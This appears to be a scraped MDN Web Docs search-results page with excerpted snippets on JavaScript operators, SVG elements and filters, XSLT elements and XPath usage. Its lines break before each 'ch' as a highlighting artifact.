...for example, the following integer with more than 32 bits will be converted to a 32 bit integer: before: 11100110111110100000000000000110000000000001 after: 10100000000000000110000000000001 ea
ch bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on.
... the operator is applied to ea
ch pair of bits, and the result is constructed bitwise.
Bitwise XOR (^) - JavaScript
the bitwise xor operator (^) returns a 1 in ea
ch bit position for whi
ch the corresponding bits of either but not both operands are 1s.
...for example, the following integer with more than 32 bits will be converted to a 32 bit integer: before: 11100110111110100000000000000110000000000001 after: 10100000000000000110000000000001 ea
ch bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on.
... the operator is applied to ea
ch pair of bits, and the result is constructed bitwise.
Conditional (ternary) operator - JavaScript
expriftrue an expression whi
ch is evaluated if the condition evaluates to a truthy value (one whi
ch equals or can be converted to true).
... expriffalse an expression whi
ch is executed if the condition is falsy (that is, has a value whi
ch can be converted to false).
...person.name : `stranger` return `howdy, ${name}` } console.log(greeting({name: `alice`})); // "howdy, alice" console.log(greeting(null)); // "howdy, stranger" conditional
chains the ternary operator is right-associative, whi
ch means it can be "
chained" in the following way, similar to an if … else if … else if … else
chain: function example(…) { return condition1 ?
Logical OR assignment (||=) - JavaScript
in other words, x ||= y is equivalent to: x || (x = y); and not equivalent to the following whi
ch would always perform an assignment: x = x || y; note that this behavior is different to mathematical and bitwise assignment operators.
... examples setting default content if the "lyrics" element is empty, set the innerhtml to a default value: document.getelementbyid('lyrics').innerhtml ||= '<i>no lyrics.</i>' here the short-circuit is especially beneficial, since the element will not be updated unnecessarily and won't cause unwanted side-effects su
ch as additional parsing or rendering work, or loss of focus, etc.
... note: pay attention to the value returned by the api you're
checking against.
Pipeline operator (|>) - JavaScript
this allows the creation of
chained function calls in a readable manner.
... the result is syntactic sugar in whi
ch a function call with a single argument can be written like this: let url = "%21" |> decodeuri; the equivalent call in traditional syntax looks like this: let url = decodeuri("%21"); syntax expression |> function the value of the specified expression is passed into the function as its sole parameter.
... examples
chaining function calls the pipeline operator can improve readability when
chaining several functions.
Spread syntax (...) - JavaScript
spread syntax (...) allows an iterable su
ch as an array expression or string to be expanded in places where zero or more arguments (for function calls) or elements (for array literals) are expected, or an object expression to be expanded in places where zero or more key-value pairs (for object literals) are expected.
...with spread syntax this becomes mu
ch more succinct: const parts = ['shoulders', 'knees']; const lyrics = ['head', ...parts, 'and', 'toes']; // ["head", "shoulders", "knees", "and", "toes"] just like spread for argument lists, ...
... only for iterables objects themselves are not iterable, but they become iterable when used in an array, or with iterating functions su
ch as map(), reduce(), and assign().
new.target - JavaScript
normally, the left-hand side of the dot is the object on whi
ch property access is performed, but here, new is not an object.
...this is also the case if the constructor is in a parent class and was delegated from a
child constructor.
...ogs "a" let b = new b() // logs "b" class c { constructor() { console.log(new.target) } } class d extends c { constructor() { super() } } let c = new c() // logs class c{constructor(){console.log(new.target);}} let d = new d() // logs class d extends c{constructor(){super();}} thus from the above example of class c and d, it seems that new.target points to the class definition of class whi
ch is initialized.
<feTurbulence> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes basefrequency numoctaves seed stit
chtiles type dom interface this element implements the svgfeturbulenceelement interface.
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" x
channelselector="r" y
channelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<feturbulence>' in that specification.
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of '<feturbulence>' in that specification.
<g> - SVG: Scalable Vector Graphics
transformations applied to the <g> element are performed on its
child elements, and its attributes are inherited by its
children.
...lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-
checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
...uetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <swit
ch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<g>' in that specification.
<metadata> - SVG: Scalable Vector Graphics
the contents of <metadata> should be elements from other xml namespaces su
ch as rdf, foaf, etc.
... usage context categoriesdescriptive elementpermitted contentany elements or
character data attributes global attributes core attributes global event attributes specific attributes none dom interface this element implements the svgmetadataelement interface.
... h5 v-9 h12 v9 h5 v16 h-22 z"/> </symbol> <!-- hub symbol --> <symbol id="hub"> <desc>a typical 10baset/100basetx network hub</desc> <text x="0" y="15">hub</text> <g transform="translate(0 20)"> <rect width="253" height="84"/> <rect width="229" height="44" x="12" y="10"/> <circle fill="red" cx="227" cy="71" r="7" /> <!-- five groups ea
ch using the defined socket --> <g id="sock1et" transform="translate(25 20)"> <title>socket 1</title> <use xlink:href="#hubplug"/> </g> <g id="socket2" transform="translate(70 20)"> <title>socket 2</title> <use xlink:href="#hubplug"/> </g> <g id="socket3" transform="translate(115 20)"> <title>socket 3</title> ...
<style> - SVG: Scalable Vector Graphics
value type: <string>; default value: text/css; animatable: no media this attribute defines to whi
ch media the style applies.
... value type: <string>; default value: all; animatable: no title this attribute the title of the style sheet whi
ch can be used to swit
ch between alternate style sheets.
... value type: <string>; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or
character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<style>' in that specification.
<svg> - SVG: Scalable Vector Graphics
; default value: xmidymid meet; animatable: yes version deprecated since svg 2 whi
ch version of svg is used for the inner content of the element.
...lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-
checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
...uetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <swit
ch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<svg>' in that specification.
<tref> - SVG: Scalable Vector Graphics
the textual content for a <text> svg element can be either
character data directly embedded within the <text> element or the
character data content of a referenced element, where the referencing is specified with a <tref> element.
... usage context categoriestext content element, text content
child elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatecolor>, <set> attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes xlink attributes class style externalresourcesrequired specific attributes xlink:href dom interface this element implements the svgtrefelement interface.
... example <svg width="100%" height="100%" viewbox="0 0 1000 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <text id="referencedtext"> referenced
character data </text> </defs> <text x="100" y="100" font-size="45" > inline
character data </text> <text x="100" y="200" font-size="45" fill="red" > <tref xlink:href="#referencedtext"/> </text> <!-- show outline of canvas using 'rect' element --> <rect x="1" y="1" width="998" height="298" fill="none" stroke-width="2" /> </svg> specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font>' in that specification.
SVG 1.1 Support in Firefox - SVG: Scalable Vector Graphics
there is also a description of the mozilla support of the
changes in svg 2.
... svgsvgelement unimplemented attributes: contentscripttype, contentstyletype, viewport, currentview unimplemented bindings: getintersectionlist, getenclosurelist,
checkintersection,
checkenclosure g implemented.
... conditional processing module swit
ch implemented.
SVG Filters Tutorial - SVG: Scalable Vector Graphics
filters svg allows us to use similar tools as the bitmap description language su
ch as the use of shadow, blur effects or even merging the results of different filters.
... with the filter element <filter> it is possible to add these effects and later on atta
ch them to an object.
...instead we need to add more filter primitives whi
ch will produce the desire rendering.
SVG Tutorial - SVG: Scalable Vector Graphics
this tutorial aims to explain the internals of svg and is packed with te
chnical details.
...if you're able, please help out by
chipping in and writing a paragraph or two.
... introducing svg from scrat
ch introduction getting started positions basic shapes paths fills and strokes gradients patterns texts basic transformations clipping and masking other content in svg filter effects svg fonts svg image tag tools for svg svg and css the following topics are more advanced and hence should get their own tutorials.
Weak signature algorithms - Web security
weaknesses in hash algorithms can lead to situations in whi
ch attackers can create or obtain fraudulent certificates.
... as new attacks are found and improvements in available te
chnology make attacks more feasible, the use of older algorithms is discouraged and support for them is eventually removed.
...certificates employing more secure hash algorithms (su
ch as sha-256 or sha-512) should be used instead.
HTML Imports - Web Components
obsolete since google
chrome 73 this feature is obsolete.
...until there is a consensus on the standard or alternative me
chanisms are worked out, you can use a polyfill su
ch as google's webcomponents.js.
... html imports is intended to be the packaging me
chanism for web components, but you can also use html imports by itself.
XPath snippets - XPath
anode.documentelement : anode.ownerdocument.documentelement); var result = xpe.evaluate(aexpr, anode, nsresolver, 0, null); var found = []; var res; while (res = result.iteratenext()) found.push(res); return found; } this function uses the new xpathevaluator() constructor, whi
ch is supported in firefox,
chrome, opera and safari, but not in edge or internet explorer.
... scripts in a web document whi
ch might be accessed by edge or internet explorer users should replace the call to new xpathevaluator() with the following fragment: // xpathevaluator is implemented on objects that implement document var xpe = anode.ownerdocument || anode; in that case the creation of the xpathnsresolver can be simplified as: var nsresolver = xpe.creatensresolver(xpe.documentelement); note however that creatensresolver should only be used if you are sure the namespace prefixes in the xpath expression mat
ch those in the document you want to query (and that no default namespace is being used (though see document.creatensresolver for a workaround)).
...although walking the dom tree can a
chieve similar results, using xpath expressions is mu
ch quicker and more powerful.
<xsl:attribute-set> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:attribute-set> element creates a named set of attributes, whi
ch can then be applied as whole to the output document, in a manner similar to named styles in css.
...the names of the contributing sets must be separated with whitespace
characters and must not directly or indirectly embed themselves.
... type top-level, must be the
child of <xsl:stylesheet> or <xsl:transform>.
<xsl:output> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:output> element controls the
characteristics of the output document.
... indent (not supported.) specifies if the output should be indented to indicate its hierar
chic structure.
... type top-level, must be the
child <xsl:stylesheet> or <xsl:transform>.
<xsl:sort> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:sort> element defines a sort key for nodes selected by <xsl:apply-templates> or <xsl:for-ea
ch> and determines the order in whi
ch they are processed.
... lang specifies whi
ch language is to be used by the sort.
... type subinstruction, always appears as a
child of <xsl:for-ea
ch>, where it must appear before the template proper or of <xsl:apply-templates>.
<feComposite> - SVG: Scalable Vector Graphics
if the arithmetic operation is
chosen, ea
ch result pixel is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 where: i1 and i2 indicate the corresponding pixel
channel values of the input image, whi
ch map to in and in2 respectively k1, k2, k3 and k4 indicate the values of the attributes with the same name usage context categoriesfilter primitive elementpermitted contentany number of the follow...
...p://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>example fecomposite - examples of fecomposite operations</title> <desc>four rows of six pairs of overlapping triangles depicting the six different fecomposite operators under different opacity values and different clearing of the background.</desc> <defs> <desc>define two sets of six filters for ea
ch of the six compositing operators.
<feMerge> - SVG: Scalable Vector Graphics
this is a
chieved by other filters storing their output via the result attribute and then accessing it in a <femergenode>
child.
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of '<femerge>' in that specification.
<fePointLight> - SVG: Scalable Vector Graphics
the <fepointlight> filter primitive defines a light source whi
ch allows to create a point light effect.
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fepointlight>' in that specification.
<feSpotLight> - SVG: Scalable Vector Graphics
the <fespotlight> svg filter primitive defines a light source whi
ch allows to create a spotlight effect.
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fespotlight>' in that specification.
<foreignObject> - SVG: Scalable Vector Graphics
lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-
checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
...a-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesnonepermitted contentany elements or
character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<foreignobject>' in that specification.
<line> - SVG: Scalable Vector Graphics
lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-
checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
... candidate recommendation
changed the x1, y1, x2 and y2 attributes to take <length>s, <percentage>s and <number>s scalable vector graphics (svg) 1.1 (second edition)the definition of '<line>' in that specification.
<mask> - SVG: Scalable Vector Graphics
<!-- everything under a white pixel will be visible --> <rect x="0" y="0" width="100" height="100" fill="white" /> <!-- everything under a black pixel will be invisible --> <path d="m10,35 a20,20,0,0,1,50,35 a20,20,0,0,1,90,35 q90,65,50,95 q10,65,10,35 z" fill="black" /> </mask> <polygon points="-10,110 110,110 110,-10" fill="orange" /> <!-- with this mask applied, we "pun
ch" a heart shape hole into the circle --> <circle cx="50" cy="50" r="50" mask="url(#mymask)" /> </svg> attributes height this attribute defines the height of the masking area.
...sform, vector-effect, visibility usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <swit
ch>, <text>, <view> specifications specification status comment css masking module level 1the definition of '<mask>' in that specification.
<missing-glyph> - SVG: Scalable Vector Graphics
the <missing-glyph> svg element's content is rendered, if for a given
character the font doesn't define an appropriate <glyph>.
... usage context categoriesnonepermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <swit
ch>, <text>, <view> attributes global attributes core attributes presentation attributes class style specific attributes d horiz-adv-x vert-origin-x vert-origin-y vert-adv-y dom interface this element implements the svgmissingglyphelement interface.
<mpath> - SVG: Scalable Vector Graphics
--> <path id="path1" d="m100,250 c 100,50 400,50 400,250" fill="none" stroke="blue" stroke-width="7.06" /> <circle cx="100" cy="250" r="17.64" fill="blue" /> <circle cx="250" cy="100" r="17.64" fill="blue" /> <circle cx="400" cy="250" r="17.64" fill="blue" /> <!-- here is a triangle whi
ch will be moved about the motion path.
... editor's draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of '<mpath>' in that specification.
<pattern> - SVG: Scalable Vector Graphics
the <pattern> element defines a graphics object whi
ch can be redrawn at repeated x- and y-coordinate intervals ("tiled") to cover an area.
...butes most notably: xlink:title usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <swit
ch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<pattern>' in that specification.
<polygon> - SVG: Scalable Vector Graphics
lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-
checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
... candidate recommendation no
change scalable vector graphics (svg) 1.1 (second edition)the definition of '<polygon>' in that specification.
<radialGradient> - SVG: Scalable Vector Graphics
the gradient will be drawn su
ch that the 0% <stop> is mapped to the perimeter of the start circle.
...the gradient will be drawn su
ch that the 100% <stop> is mapped to the perimeter of the end circle.
<set> - SVG: Scalable Vector Graphics
it supports all attribute types, including those that cannot reasonably be interpolated, su
ch as string and boolean values.
...the value must mat
ch the requirements of the target attribute.
<solidcolor> - SVG: Scalable Vector Graphics
note: this is an experimental te
chnology, and not yet implemented in browsers.
...--> <solidcolor id="mycolor" solid-color="gold" solid-opacity="0.8"/> <!-- lineargradient with a single color stop is a less elegant way to a
chieve the same effect, but it works in current browsers.
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
note: for backward compatibility with svg 1.1, <title> elements should be the first
child element of their parent.
... <rect x="11" y="1" width="8" height="8"> <title>i'm a square</title> </rect> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or
character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<title>' in that specification.